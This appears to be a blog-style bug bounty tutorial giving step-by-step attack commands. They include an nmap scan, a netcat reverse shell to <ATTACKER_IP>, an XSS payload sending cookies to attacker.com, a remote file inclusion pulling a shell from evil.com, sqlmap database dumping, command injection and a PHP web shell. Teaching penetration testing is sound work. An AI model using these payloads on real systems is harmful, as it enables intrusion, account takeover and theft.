Listen to this Post
Introduction:
Bug bounty hunting is a critical skill in cybersecurity, enabling professionals to identify vulnerabilities before malicious actors exploit them. This article covers key techniques, tools, and commands used in penetration testing and bug bounty programs, aligned with the training modules from IGNITE TECHNOLOGIES’ Bug Bounty Training Program.
Learning Objectives:
- Understand core penetration testing methodologies and OWASP Top 10 vulnerabilities.
- Master reconnaissance, exploitation, and post-exploitation techniques.
- Learn practical command-line tools for Windows, Linux, and web application testing.
1. Information Gathering & Reconnaissance
Command:
nmap -sV -A -T4 target.com
What it does:
Nmap scans a target for open ports, services, and OS detection (-A). The `-T4` flag speeds up the scan.
Step-by-Step Guide:
- Install Nmap (
sudo apt install nmapon Linux).
2. Run the command against a target domain/IP.
- Analyze open ports (e.g., `80` for HTTP, `443` for HTTPS).
4. Identify vulnerable services using version detection (`-sV`).
2. Netcat for Pentesters
Command:
nc -lvnp 4444
What it does:
Netcat (nc) listens on port `4444` for incoming connections, useful for reverse shells.
Step-by-Step Guide:
- On the attacker’s machine, set up a listener:
nc -lvnp 4444
2. On the victim machine, connect back:
nc <ATTACKER_IP> 4444 -e /bin/bash
3. The attacker gains shell access.
3. SQL Injection Testing
Command (SQLi Detection):
sqlmap -u "http://target.com/page?id=1" --dbs
What it does:
SQLMap automates SQL injection testing and extracts database names (--dbs).
Step-by-Step Guide:
1. Install SQLMap (`pip install sqlmap`).
2. Test a vulnerable URL:
sqlmap -u "http://target.com/page?id=1" --dbs
3. If vulnerable, dump tables with `–tables` and --dump.
4. Cross-Site Scripting (XSS) Exploitation
Payload:
<script>alert('XSS')</script>
What it does:
Tests for reflected or stored XSS vulnerabilities.
Step-by-Step Guide:
- Inject the payload into input fields (e.g., search bars).
- If an alert pops up, the site is vulnerable.
3. Use advanced payloads for cookie theft:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
5. Remote File Inclusion (RFI) Exploitation
Exploit Command:
curl "http://target.com/page.php?file=http://evil.com/shell.txt"
What it does:
Tests if a server includes remote files, leading to code execution.
Step-by-Step Guide:
- Host a malicious PHP shell (
shell.txt) on your server.
2. Trigger RFI via URL parameter:
curl "http://target.com/page.php?file=http://evil.com/shell.txt"
3. If successful, the server executes the shell.
6. OS Command Injection
Command:
; whoami
What it does:
Tests for command injection by appending OS commands.
Step-by-Step Guide:
1. Find an input field (e.g., ping utility).
2. Inject:
; whoami
3. If the server returns the current user, it’s vulnerable.
7. PHP Web Shell Upload
PHP Shell Code:
<?php system($_GET['cmd']); ?>
What it does:
Creates a web shell for command execution.
Step-by-Step Guide:
- Upload the PHP file via an unsecured file upload feature.
2. Access the shell:
http://target.com/shell.php?cmd=id
3. Execute arbitrary commands.
What Undercode Say:
- Key Takeaway 1: Reconnaissance is the foundation of successful bug bounty hunting—always start with thorough scanning.
- Key Takeaway 2: Automation (SQLMap, Nmap) speeds up testing, but manual verification is crucial for advanced exploits.
Analysis:
Bug bounty programs are evolving with AI-driven vulnerability detection, but human expertise remains irreplaceable. Future trends include:
– AI-assisted penetration testing (e.g., automated exploit generation).
– Expanded attack surfaces (cloud, APIs, IoT).
– Stricter bug disclosure policies from major tech firms.
By mastering these techniques, security professionals can stay ahead in the ever-changing cybersecurity landscape.
Further Resources:
Would you like deeper dives into any of these topics? Let us know in the comments! 🚀
IT/Security Reporter URL:
Reported By: Kinjalpatel Pt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
